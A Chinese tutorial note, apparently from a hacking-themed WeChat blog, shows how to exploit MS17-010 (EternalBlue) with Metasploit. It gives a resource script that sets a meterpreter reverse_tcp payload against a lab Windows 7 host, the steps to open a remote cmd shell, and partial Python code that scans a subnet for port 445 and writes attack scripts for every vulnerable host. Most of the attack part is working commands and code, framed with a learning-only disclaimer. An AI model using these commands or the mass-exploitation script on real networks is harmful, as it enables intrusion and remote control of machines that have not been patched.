注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途。参考:《Python绝技:运用Python成为顶级黑客》。
更多干货请关注微信公众号:黑客帮。
在进行编写与Metasploit交互的脚本前,我们先简单运用Metasploit利用ms17-010(永恒之蓝)漏洞对目标主机实现攻击。详细教程见->利用永恒之蓝漏洞(MS17-010)入侵电脑。
目标主机:Windows7 IP:192.168.1.10
攻击主机:kalilinux IP:192.168.1.14
步骤:
(1)在kalilinux桌面创建一个以’.rc’为后缀的文件,我创建的是‘smb.rc’,然后填入下面的命令。
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.1.10
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.1.10
set payload windows/x64/meterpreter/reverse_tcp
exploit -j -z
(2)右击文件smb.rc,在此打开终端。输入如下命令,回车。
msfconsole -r smb.rc
(3)看到如下出现状态,继续按回车,然后输入如下命令即可建立会话运行命令,具体利用可以见->利用永恒之蓝漏洞(MS17-010)入侵电脑。
sessions -i 1
(4)输入shell就可以进入Windows的cmd命令界面了。
编写python脚本
可以用python编写一个能扫描445端口的主机,并自动生成一个去攻击所有有漏洞主机的Metasploit脚本文件的Python脚本。
# coding=utf-8
import nmap
import os
import optparse
import sys
def findTgts(subNet):
nmScan = nmap.PortScanner()
nmScan.scan(subNet, '445')
tgtHosts = []
for host in nmScan.all_hosts():
# 若目标主机存在TCP的445端口
if nmScan[host].has_tcp(445):
state = nmScan[host]['tcp'][445]['state']
# 并且445端口是开启的
if state == 'open':
print '[+] Found Target Host: ' + host
tgtHosts.append(host)
return tgtHosts
def setupHandler(configFile, rhost):
configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n')
configFile.write('set rhosts '+rhost+'\n')
configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')
configFile.write('set rhosts ' + rhost + '\n')
configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n')
configFile.write('exploit -j -z\n')
# 设置全局变量DisablePayloadHandler,让已经新建一个监听器之后,后面的所有的主机不会重复新建监听器
# 其中setg为设置全局参数
configFile.write('setg DisablePayloadHandler 1\n')
def confickerExploit(configFile, tgtHost): # tgtHost为目标的IP
configFile.write('use auxiliary/scanner/smb/smb_ms17_010\n')
configFile.write('set rhosts ' + str(tgtHost) + '\n')
configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')
configFile.write('set rhosts ' + str(tgtHost) + '\n')
configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n')
# -j参数表示攻击在后台进行,-z参数表示攻击完成后不与会话进行交互
configFile.write('exploit -j -z\n')
findTgts()函数中实现对整个网段的主机445端口的扫描,setupHandler()函数实现目标主机被攻击后进行远程交互的监听器的功能,confickerExploit()函数实现命令执行,代码未完整,可后续自行补充。
微信公众号:黑客帮